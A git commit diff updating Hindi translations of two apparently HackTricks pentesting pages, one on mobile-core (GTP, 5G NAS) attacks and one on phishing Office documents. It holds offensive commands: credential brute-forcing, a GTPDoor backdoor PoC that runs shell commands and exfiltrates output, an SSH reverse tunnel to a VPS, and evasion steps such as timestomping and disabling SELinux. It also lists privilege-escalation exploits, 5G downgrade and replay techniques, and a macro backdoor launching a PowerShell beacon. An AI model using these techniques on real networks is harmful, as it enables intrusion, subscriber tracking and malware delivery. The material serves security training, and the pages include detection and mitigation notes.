Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-09-07 22:18:20 +00:00
parent 2cc26829a3
commit 45b5123a26
3 changed files with 168 additions and 158 deletions

View File

@ -3,25 +3,25 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!NOTE] > [!NOTE]
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) अक्सर semi-trusted GRX/IPX roaming backbones से होकर गुजरते हैं। क्योंकि े plain UDP पर चलते हैं और लगभग कोई authentication नहीं होता, **टेलीकॉम परिधि के भीतर किसी भी foothold से आमतौर पर कोर signalling planes तक सीधे पहुँच बन सकती है**। नीचे दिए नोट्स में wild में देखे गए SGSN/GGSN, PGW/SGW और अन्य EPC nodes के खिलाफ उपयोगी offensive ट्रिक्स संकलित किए गए हैं। > Mobile-core protocols (GPRS Tunnelling Protocol GTP) अक्सर semi-trusted GRX/IPX roaming backbones से गुजरते हैं। क्योंकि े plain UDP पर चलते हैं और लगभग कोई authentication नहीं होता, **telecom perimeter के भीतर किसी भी foothold से आम तौर पर core signalling planes तक सीधे पहुँच बन सकती है**। नीचे के नोट्स में wild में देखे गए SGSN/GGSN, PGW/SGW और अन्य EPC nodes के खिलाफ उपयोग किए गए offensive tricks संकलित किए गए हैं।
## 1. Recon & Initial Access ## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts ### 1.1 Default OSS / NE Accounts
कई vendor network elements आश्चर्यजनक रूप से hard-coded SSH/Telnet users के साथ भेजे जाते हैं, जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक समर्पित wordlist brute-force सफलता को नाटकीय रूप से बढ़ा देता है: एक चौंकाने वाली बड़ी संख्या में vendor network elements हार्ड-कोडेड SSH/Telnet users के साथ शिप होती हैं, जैसे `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … एक dedicated wordlist brute-force सफलता को नाटकीय रूप से बढ़ा देता है:
```bash ```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
``` ```
यदि डिवाइस केवल एक management VRF एक्सपोज़ करता है, तो पहले एक jump host के माध्यम से pivot करें (नीचे अनुभाग «SGSN Emu Tunnel» देखें)। यदि डिवाइस केवल एक management VRF ही एक्सपोज़ करता है, तो पहले एक jump host के माध्यम से pivot करें (नीचे अनुभाग «SGSN Emu Tunnel» देखें)।
### 1.2 GRX/IPX के अंदर होस्ट डिस्कवरी ### 1.2 GRX/IPX के अंदर होस्ट खोज
अधिकांश GRX ऑपरेटर अभी भी बैकबोन के **ICMP echo** की अनुमति देते हैं। त्वरित रूप से GTP-C listeners मैप करने के लिए बिल्ट-इन `gtpv1` UDP probes के साथ `masscan` को मिलाएँ: अधिकांश GRX ऑपरेटर अभी भी बैकबोन पर **ICMP echo** की अनुमति देते हैं। `masscan` को built-in `gtpv1` UDP probes के साथ मिलाकर तेजी से GTP-C listeners को मैप करें:
```bash ```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
``` ```
## 2. सदस्यों की सूची बनाना `cordscan` ## 2. सब्सक्राइबर सूचीकरण `cordscan`
निम्नलिखित Go टूल **GTP-C Create PDP Context Request** पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर पूछे गए IMSI को सर्व कर रहे वर्तमान **SGSN / MME** का खुलासा करता है और, कभी-कभी, सब्सक्राइबर द्वारा विज़िट किया गया PLMN भी बताता है निम्नलिखित Go टूल **GTP-C Create PDP Context Request** पैकेट बनाता है और प्रतिक्रियाओं को लॉग करता है। प्रत्येक उत्तर पूछे गए IMSI को सेवा देने वाला वर्तमान **SGSN / MME** प्रकट करता है, और कभी-कभी सब्सक्राइबर द्वारा दौरा किया गया PLMN भी
```bash ```bash
# Build # Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical): # Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
``` ```
Key flags: मुख्य फ़्लैग:
- `--imsi` लक्षित सब्सक्राइबर का IMSI - `--imsi` लक्षित सब्सक्राइबर IMSI
- `--oper` होम / HNI (MCC+MNC) - `--oper` होम / HNI (MCC+MNC)
- `-w` कच्चे पैकेटों को pcap में लिखें - `-w` Write raw packets to pcap
बाइनरी के अंदर के महत्वपूर्ण constants को स्कैन बढ़ाने के लिए पैच किया जा सकता है: बाइनरी के अंदर के महत्वपूर्ण constants को स्कैन विस्तारित करने के लिए patched किया जा सकता है:
``` ```
pingtimeout = 3 // seconds before giving up pingtimeout = 3 // seconds before giving up
pco = 0x218080 pco = 0x218080
common_tcp_ports = "22,23,80,443,8080" common_tcp_ports = "22,23,80,443,8080"
``` ```
## 3. Code Execution over GTP `GTPDoor` ## 3. GTP पर कोड निष्पादन `GTPDoor`
`GTPDoor` एक छोटा ELF service है जो UDP 2123 पर bind होता है और आने वाले हर GTP-C packet को parse करता है। जब payload किसी pre-shared tag से शुरू होता है, तो शेष भाग को decrypted (AES-128-CBC) किया जाता है और `/bin/sh -c` के माध्यम से execute किया जाता है। stdout/stderr को **Echo Response** messages के अंदर exfiltrate किया जाता है ताकि कोई outward session कभी बनाया न जाए `GTPDoor` एक छोटा ELF service है जो **UDP 2123 को bind करता है और हर incoming GTP-C packet को parse करता है**। जब payload किसी pre-shared tag से शुरू होता है, तो शेष हिस्सा decrypted (AES-128-CBC) किया जाता है और `/bin/sh -c` के माध्यम से execute किया जाता है। stdout/stderr को **Echo Response** messages के अंदर exfiltrate किया जाता है ताकि कोई outward session कभी create न हो
न्यूनतम PoC packet (Python): न्यूनतम PoC पैकेट (Python):
```python ```python
import gtpc, Crypto.Cipher.AES as AES import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!" key = b"SixteenByteKey!"
@ -52,38 +52,38 @@ cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
``` ```
डिटेक्शन: पता लगाना:
* कोई भी होस्ट जो SGSN IPs को **unbalanced Echo Requests** भेज रहा हो * कोई host जो SGSN IPs को **unbalanced Echo Requests** भेज रहा हो
* GTP version flag 1 पर सेट जबकि message type = 1 (Echo) spec से विचलन * GTP version flag 1 पर सेट है जबकि message type = 1 (Echo) spec से विचलन
## 4. कोर के माध्यम से Pivoting ## 4. कोर के माध्यम से Pivoting
### 4.1 `sgsnemu` + SOCKS5 ### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` एक SGSN emulator है जो **वास्तविक GGSN/PGW की ओर PDP context स्थापित करने में सक्षम** है। एक बार नेगोशिएट हो जाने पर, Linux को एक नया `tun0` interface मिलता है जो roaming peer से पहुच योग्य होता है। `OsmoGGSN` एक SGSN इम्यूलेटर के साथ आता है जो **establish a PDP context towards a real GGSN/PGW** करने में सक्षम है। एक बार नेगोशिएट हो जाने पर, Linux को एक नया `tun0` interface मिलता है जो roaming peer से पहुच योग्य होता है।
```bash ```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d -APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0 ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy microsocks -p 1080 & # internal SOCKS proxy
``` ```
सही firewall hair-pinning के साथ, यह tunnel signalling-only VLANs को बायपास कर देता है और आपको सीधे **data plane** में पहुँचा देता है। सही firewall hair-pinning के साथ, यह tunnel signalling-only VLANs को बायपास करके आपको सीधे **data plane** में पहुंचा देता है।
### 4.2 SSH Reverse Tunnel over Port 53 ### 4.2 SSH Reverse Tunnel over Port 53
DNS लगभग हमेशा रोमिंग इन्फ्रास्ट्रक्चर में खुला रहता है। अपने VPS पर :53 पर सुनने वाली एक आंतरिक SSH सेवा एक्सपोज़ करें और बाद में घर से वापस कनेक्ट करें: DNS लगभग हमेशा roaming infrastructures में open रहता है। एक internal SSH service को अपने VPS पर :53 पर सुनने के लिए Expose करें और बाद में घर से वापस कनेक्ट करें:
```bash ```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
``` ```
पुष्टि करें कि `GatewayPorts yes` VPS पर सक्षम है। Check that `GatewayPorts yes` is enabled on the VPS.
## 5. गुप्त चैनल ## 5. Covert Channels
| चैनल | ट्रांसपोर्ट | डिकोडिंग | नोट्स | | चैनल | ट्रांसपोर्ट | डिकोडिंग | नोट्स |
|---------|-----------|----------|-------| |-------|------------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | शुद्ध पैसिव listener, कोई आउटबाउंड ट्रैफ़िक नहीं | | ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` sub-domain के लिए निगरानी करता है | | DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` sub-domain के लिए देखता है |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | वैध GTP-C ट्रैफ़िक में घुलमिल जाता है | | GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | वैध GTP-C chatter के साथ मिल जाता है |
सभी implants ऐसे watchdogs लागू करते हैं जो उनके बाइनरीज़ को **timestomp** करते हैं और क्रैश होने पर पुनः स्पॉन होते हैं। All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
## 6. Defense Evasion Cheatsheet ## 6. Defense Evasion Cheatsheet
```bash ```bash
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux setenforce 0 # disable SELinux
``` ```
## 7. Privilege Escalation पुराने NE पर ## 7. Legacy NE पर Privilege Escalation
```bash ```bash
# DirtyCow CVE-2016-5195 # DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -111,79 +111,79 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156 # Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py python3 exploit_userspec.py
``` ```
फाई टिप: ाफ-सफाई सुझाव:
```bash ```bash
userdel firefart 2>/dev/null userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c rm -f /tmp/sh ; history -c
``` ```
## 8. Tool Box ## 8. टूल बॉक्स
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` पिछले अनुभागों में वर्णित custom tooling. * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` कस्टम टूलिंग पिछली अनुभागों में वर्णित।
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) * `FScan` : इंट्रानेट TCP स्कैन (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD * `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting * `Microsocks` + `ProxyChains` : लाइटवेट SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging * `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay ## 9. 5G NAS रजिस्ट्रेशन अटैक: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G registration प्रक्रिया NAS (Non-Access Stratum) पर NGAP के ऊपर चलती है। जब तक NAS security को Security Mode Command/Complete द्वारा सक्रिय नहीं किया जाता, initial messages unauthenticated और unencrypted रहती हैं। यह pre-security विंडो कई attack paths सक्षम करती है जब आप N2 traffic को observe या tamper कर सकते हैं (उदा., core के अंदर on-path, rogue gNB, या testbed)। 5G रजिस्ट्रेशन प्रक्रिया NAS (Non-Access Stratum) पर NGAP के ऊपर चलती है। जब तक NAS सुरक्षा Security Mode Command/Complete द्वारा सक्रिय नहीं होती, आरंभिक संदेश अप्रमाणित और एन्क्रिप्टेड नहीं होते। यह प्री‑सिक्योरिटी विंडो कई हमला मार्ग सक्षम करती है जब आप N2 ट्रैफिक को अवलोकन या छेड़छाड़ कर सकते हैं (उदा., कोर के अंदर on-path, rogue gNB, या टेस्टबेड पर)।
Registration flow (simplified): Registration flow (सरलीकृत):
- Registration Request: UE sends SUCI (encrypted SUPI) और capabilities। - Registration Request: UE SUCI भेजता है (एन्क्रिप्टेड SUPI) और capabilities।
- Authentication: AMF/AUSF RAND/AUTN भेजते हैं; UE RES* वापस करता है। - Authentication: AMF/AUSF RAND/AUTN भेजते हैं; UE RES* लौटाता है।
- Security Mode Command/Complete: NAS integrity और ciphering negotiate किए जाते हैं और activate होते हैं - Security Mode Command/Complete: NAS इंटीग्रिटी और सिफरिंग पर समझौता किया जाता है और सक्रिय किया जाता है
- PDU Session Establishment: IP/QoS setup - PDU Session Establishment: IP/QoS सेटअप
Lab setup tips (non-RF): Lab setup tips (non-RF):
- Core: Open5GS default deployment flows reproduce करने के लिए पर्याप्त है। - Core: Open5GS का डिफ़ॉल्ट deployment फ्लो दोहराने के लिए पर्याप्त है।
- UE: simulator या test UE; decode के लिए Wireshark का उपयोग करें। - UE: सिम्युलेटर या टेस्ट UE; Wireshark का उपयोग करके डीकोड करें।
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly बिना एक पूरा rogue gNB उठाए)। - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark: - Wireshark में उपयोगी डिस्प्ले फ़िल्टर:
- ngap.procedure_code == 15 (InitialUEMessage) - ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Expected: UE/USIM को SUCI भेजना चाहिए (SUPI को home-network public key से encrypted करके)। Registration Request में plaintext SUPI/IMSI मिलना एक privacy defect को दर्शाता है जो persistent subscriber tracking को सक्षम बनाता है। अपेक्षित: UE/USIM को SUCI (होम‑नेटवर्क सार्वजनिक कुंजी से एन्क्रिप्टेड SUPI) प्रसारित करना चाहिए। Registration Request में plaintext SUPI/IMSI मिलने का मतलब गोपनीयता दोष है जो लगातार सब्सक्राइबर ट्रैकिंग को सक्षम करता है।
How to test: परीक्षण कैसे करें:
- InitialUEMessage में पहला NAS message capture करें और Mobile Identity IE की जांच करें। - InitialUEMessage में पहला NAS संदेश कैप्चर करें और Mobile Identity IE की जाँच करें।
- Wireshark quick checks: - Wireshark त्वरित जाँच:
- इसे SUCI के रूप में decode करना चाहिए, IMSI के रूप में नहीं। - इसे SUCI के रूप में डिकोड होना चाहिए, IMSI के रूप में नहीं।
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` मौजूद होना चाहिए; इसकी अनुपस्थिति और `imsi` की उपस्थिति leakage संकेत करती है। - फ़िल्टर उदाहरण: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` मौजूद होना चाहिए; अनुपस्थिति और `imsi` की उपस्थिति लीक को संकेत करती है।
What to collect: क्या एकत्र करें:
- MCC/MNC/MSIN अगर exposed हों; प्रति-UE log रखें और समय/locations के साथ track करें। - यदि एक्सपोज़ हैं तो MCC/MNC/MSIN; प्रति-UE लॉग करें और समय/स्थान के साथ ट्रैक करें।
Mitigation: निवारण:
- SUCI-only UEs/USIMs लागू करें; initial NAS में किसी भी IMSI/SUPI पर alert करें। - केवल SUCI-सपोर्टेड UEs/USIMs लागू करें; initial NAS में किसी भी IMSI/SUPI पर अलर्ट करें।
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background: पृष्ठभूमि:
- UE अपने supported EEA (encryption) और EIA (integrity) को UE Security Capability IE में Registration Request के दौरान advertise करता है। - UE Registration Request के UE Security Capability IE में समर्थित EEA (एन्क्रिप्शन) और EIA (इंटीग्रिटी) विज्ञापन करता है।
- सामान्य mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algorithms हैं। - सामान्य मैपिंग्स: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algorithms हैं।
Issue: समस्या:
- क्योंकि Registration Request integrity protected नहीं है, एक on-path attacker capability bits को clear कर सकता है ताकि बाद में Security Mode Command के दौरान EEA0/EIA0 चुने जाएँ। कुछ stacks गलत तरीके से null algorithms को emergency services के बाहर allow कर देते हैं। - क्योंकि Registration Request इंटीग्रिटी‑प्रोटेक्टेड नहीं होता, एक on-path attacker capability bits क्लियर करके बाद में Security Mode Command के दौरान EEA0/EIA0 के चयन को जबरन कर सकता है। कुछ stacks गलत तरीके से आपातकालीन सेवाओं के बाहर null algorithms की अनुमति देते हैं।
Offensive steps: आक्रामक कदम:
- InitialUEMessage intercept करें और NAS UE Security Capability को modify करके केवल EEA0/EIA0 advertise करवाएं। - InitialUEMessage को इंटरसेप्ट करें और NAS UE Security Capability को केवल EEA0/EIA0 विज्ञापन करने के लिए संशोधित करें।
- Sni5Gect के साथ, NAS message को hook करें और capability bits को patch करके आगे भेजें। - Sni5Gect के साथ, NAS संदेश को हुक करें और अग्रेषित करने से पहले capability bits को patch करें।
- देखें कि क्या AMF null ciphers/integrity accept करता है और EEA0/EIA0 के साथ Security Mode complete करता है। - देखें कि क्या AMF null ciphers/ integrity स्वीकार करता है और EEA0/EIA0 के साथ Security Mode पूरा होता है।
Verification/visibility: सत्यापन/दृश्यता:
- Wireshark में Security Mode Command/Complete के बाद चुने गए algorithms confirm करें। - Wireshark में, Security Mode Command/Complete के बाद चयनित algorithms की पुष्टि करें।
- Example passive sniffer output: - उदाहरण passive sniffer आउटपुट:
``` ```
Encyrption in use [EEA0] Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2] Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001 SUPI (MCC+MNC+MSIN) 9997000000001
``` ```
रोकथाम (अनिवार्य): रोकथाम (अनिवार्य):
- AMF/policy को EEA0/EIA0 अस्वीकार करने के लिए कॉन्फ़िगर करें सिवाय जहाँ सख्ती से अनिवार्य हो (उदा., आपातकालीन कॉल)। - AMF/policy को EEA0/EIA0 अस्वीकार करने के लिए कॉन्फ़िगर करें, केवल उन मामलों में जहाँ कड़ाई से अनिवार्य हो (उदा., आपातकालीन कॉल)।
- न्यूनतम के रूप में EEA2/EIA2 लागू करने को प्राथमिकता दें; किसी भी NAS security context पर जो null algorithms negotiate करे, log और alarm करें। - न्यूनतम के रूप में EEA2/EIA2 लागू करने को प्राथमिकता दें; किसी भी NAS सुरक्षा संदर्भ पर जो null algorithms पर negotiation करता है, उसके लिए लॉग और अलार्म सेट करें।
### 9.3 Replay of प्रारंभिक Registration Request (pre-security NAS) ### 9.3 प्रारंभिक Registration Request का Replay (pre-security NAS)
क्योंकि प्रारंभिक NAS में अखंडता और ताज़गी का अभाव होता है, कैप्चर किया गया InitialUEMessage+Registration Request AMF को replay किया जा सकता है। क्योंकि प्रारंभिक NAS में अखंडता और नवीनता की कमी होती है, कैप्चर किया गया InitialUEMessage+Registration Request AMF को replay किया जा सकता है।
PoC rule for 5GReplay to forward matching replays: PoC rule for 5GReplay to forward matching replays:
```xml ```xml
@ -209,31 +209,31 @@ boolean_expression="nas_5g.message_type == 65"/>
</beginning> </beginning>
``` ```
What to observe: What to observe:
- क्या AMF replay को स्वीकार करता है और Authentication की ओर आगे बढ़ता है; freshness/संदर्भ सत्यापन की कमी जोखिम को दर्शाती है। - क्या AMF replay स्वीकार करता है और Authentication की प्रक्रिया की ओर बढ़ता है; freshness/context सत्यापन का अभाव जोखिम दर्शाता है।
Mitigations: Mitigations:
- AMF पर replay सुरक्षा/संदर्भ बाइंडिंग लागू करें; प्रति-GNB/UE दर-सीमित करें और सहसंबंध बनाएँ - AMF पर replay protection/context binding लागू करें; प्रति-GNB/UE दर-सीमा लागू करें और सहसंबंध स्थापित करें
### 9.4 टूलिंग संकेत (दोहराने योग्य) ### 9.4 टूलिंग संकेत (पुनरुत्पाद्य)
- Open5GS: core को emulate करने के लिए AMF/SMF/UPF उठाएँ; N2 (NGAP) और NAS का निरीक्षण करें। - Open5GS: core का अनुकरण करने के लिए एक AMF/SMF/UPF चलाएं; N2 (NGAP) और NAS का निरीक्षण करें।
- Wireshark: NGAP/NAS के decodes सत्यापित करें; Registration को अलग करने के लिए ऊपर दिए गए filters लागू करें। - Wireshark: NGAP/NAS के decodes सत्यापित करें; Registration अलग करने के लिए ऊपर दिए गए filters लागू करें।
- 5GReplay: एक registration कैप्चर करें, फिर नियम के अनुसार विशिष्ट NGAP + NAS संदेश replay करें। - 5GReplay: एक registration capture करें, फिर नियम के अनुसार विशिष्ट NGAP + NAS संदेश replay करें।
- Sni5Gect: लाइव में NAS कंट्रोल-प्लेन को sniff/modify/inject करके null algorithms को मजबूर करें या authentication sequences में गड़बड़ी करें। - Sni5Gect: NAS control-plane को live sniff/modify/inject करके null algorithms को मजबूर करें या authentication sequences में गड़बड़ी करें।
### 9.5 रक्षात्मक चेकलिस्ट ### 9.5 रक्षा चेकलिस्ट
- Registration Request में plaintext SUPI/IMSI के लिए लगातार निरीक्षण करें; दोष devices/USIMs को ब्लॉक करें। - Registration Request में plaintext SUPI/IMSI के लिए लगातार निरीक्षण करें; दोषपूर्ण devices/USIMs को ब्लॉक करें।
- परिभाषित आपातकालीन प्रक्रियाओं को छोड़कर EEA0/EIA0 को अस्वीकार करें; कम से कम EEA2/EIA2 आवश्यक रें। - EEA0/EIA0 को संकुचित रूप से परिभाषित आपातकालीन प्रक्रियाओं को छोड़कर अस्वीकार करें; कम से कम EEA2/EIA2 क मांग करें।
- rogue या misconfigured infrastructure का पता लगाएं: unauthorized gNB/AMF, अप्रत्याशित N2 peers। - rogue या गलत कॉन्फ़िगर की गई infrastructure का पता लगाएं: unauthorized gNB/AMF, अप्रत्याशित N2 peers।
- उन NAS security modes पर अलर्ट करें जो null algorithms का कारण बनते हैं या InitialUEMessage के बार-बार replay होते हैं। - उन NAS security modes पर अलर्ट करें जो null algorithms या InitialUEMessage के बार-बार replay का परिणाम देते हैं।
--- ---
## Detection Ideas ## पहचान के विचार
1. **SGSN/GGSN के अलावा कोई भी डिवाइस जो Create PDP Context Requests स्थापित कर रहा हो** 1. **SGSN/GGSN के अलावा कोई भी डिवाइस जो Create PDP Context Requests स्थापित कर रहा हो**
2. **आंतरिक IPs से Non-standard ports (53, 80, 443) पर आने वाले SSH handshakes।** 2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** आंतरिक IPs से।
3. **अनुपयुक्त Echo Responses के बिना बार-बार Echo Requests** यह GTPDoor beacons का संकेत हो सकता है 3. **Frequent Echo Requests without corresponding Echo Responses** GTPDoor beacons का संकेत दे सकते हैं
4. **बड़े, शून्य से भिन्न identifier/sequence फील्ड्स वाले ICMP echo-reply ट्रैफ़िक की उच्च दर।** 4. **बड़े, non-zero identifier/sequence फ़ील्ड्स के साथ उच्च दर का ICMP echo-reply ट्रैफ़िक**
5. 5G: **InitialUEMessage जो समान endpoints से दोहराई गई NAS Registration Requests ले जा रहा हो** (replay संकेत)। 5. 5G: **InitialUEMessage जो NAS Registration Requests लेकर समान endpoints से दोहराए जा रहे हों** (replay signal)।
6. 5G: **आपातकालीन प्रसंगों के बाहर NAS Security Mode का EEA0/EIA0 पर समझौता करना।** 6. 5G: **NAS Security Mode negotiating EEA0/EIA0** आपातकालीन संदर्भों के बाहर।
## References ## References

View File

@ -1,20 +1,20 @@
# Phishing फ़ाइलें और दस्तावेज़ # Phishing Files & Documents
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Office Documents ## Office Documents
Microsoft Word किसी फ़ाइल को खोलने से पहले फ़ाइल डेटा वैलिडेशन करता है। डेटा वैलिडेशन डेटा स्ट्रक्चर की पहचान के रूप में, OfficeOpenXML मानक के खिलाफ किया जाता है। यदि डेटा स्ट्रक्चर पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषण की जा रही फ़ाइल नहीं खोली जाएगी। Microsoft Word किसी फ़ाइल को खोलने से पहले फ़ाइल डेटा का डेटा सत्यापन (data validation) करता है। डेटा सत्यापन डेटा संरचना की पहचान के रूप में OfficeOpenXML standard के विरुद्ध किया जाता है। यदि डेटा संरचना की पहचान के दौरान कोई त्रुटि होती है, तो जो फ़ाइल विश्लेषित की जा रही है वह नहीं खोली जाएगी।
आम तौर पर, macros वाले Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालांकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना और उनकी macros चलाने की क्षमता बनाए रखना संभव है.\ आमतौर पर, macros वाली Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालाँकि, फ़ाइल का एक्सटेंशन बदलकर फ़ाइल का नाम बदलने पर भी उनकी macro execute करने की क्षमताएँ बनी रह सकती हैं.\
उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, लेकिन एक DOCM फ़ाइल जिसे RTF में नाम बदल दिया जाए, Microsoft Word द्वारा हैंडल की जाएगी और macros चलाने में सक्षम होगी.\ उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, पर यदि एक DOCM फ़ाइल का नाम बदलकर RTF कर दिया जाए तो Microsoft Word उसे हैंडल करेगा और वह macro execution में सक्षम होगी.\
उसी आंतरिक संरचनाएँ और मेकैनिज़्म Microsoft Office Suite (Excel, PowerPoint etc.) के सभी सॉफ़्टवेयर पर लागू होते हैं। यही आंतरिक संरचनाएँ और तंत्र Microsoft Office Suite (Excel, PowerPoint etc.) के सभी सॉफ़्टवेयर पर लागू होते हैं।
आप निम्नलिखित कमांड का उपयोग करके यह जांच सकते हैं कि कौन से एक्सटेंशन कुछ Office प्रोग्राम्स द्वारा execute किए जाने वाले हैं: You can use the following command to check which extensions are going to be executed by some Office programs:
```bash ```bash
assoc | findstr /i "word excel powerp" assoc | findstr /i "word excel powerp"
``` ```
macros शामिल करने वाले रिमोट टेम्पलेट को संदर्भित करने वाली DOCX फ़ाइलें (File Options Add-ins Manage: Templates Go) macros को भी “execute” कर सकती हैं। macros शामिल करने वाला रिमोट टेम्पलेट संदर्भित करने वाली DOCX फाइलें भी macros “execute” कर सकती हैं।
### बाहरी इमेज लोड ### बाहरी इमेज लोड
@ -25,11 +25,11 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi
### Macros Backdoor ### Macros Backdoor
दस्तावेज़ से arbitrary code चलाने के लिए macros का उपयोग करना संभव है। दस्तावेज़ से arbitrary code चलाने के लिए macros का उपयोग किया जा सकता है।
#### Autoload functions #### Autoload functions
जितने अधिक सामान्य वे होते हैं, उतनी अधिक संभावना होती है कि AV उन्हें पहचान लेगा जितने अधिक सामान्य वे होते हैं, AV द्वारा उनका पता लगने की संभावना उतनी ही अधिक होती है
- AutoOpen() - AutoOpen()
- Document_Open() - Document_Open()
@ -66,24 +66,24 @@ proc.Create "powershell <beacon line generated>
``` ```
#### मैन्युअली मेटाडेटा हटाएँ #### मैन्युअली मेटाडेटा हटाएँ
पर जाएँ **File > Info > Inspect Document > Inspect Document**, जो Document Inspector खोलेगा। **Inspect** पर क्लिक करें और फिर **Document Properties and Personal Information** के बगल में **Remove All** पर क्लिक करें **File > Info > Inspect Document > Inspect Document** पर जाएँ, जिससे Document Inspector खुलेगा। **Inspect** पर क्लिक करें और फिर **Remove All** पर क्लिक करें जो **Document Properties and Personal Information** के पास है
#### Doc एक्सटेंशन #### Doc एक्सटेंशन
जब समाप्त कर लें, **Save as type** ड्रॉपडाउन चुनें, फॉर्मेट को **`.docx`** से बदलकर **Word 97-2003 `.doc`** करें.\ समाप्त होने पर, **Save as type** ड्रॉपडाउन चुनें, फॉर्मेट को **`.docx`** से बदलकर **Word 97-2003 `.doc`** करें\
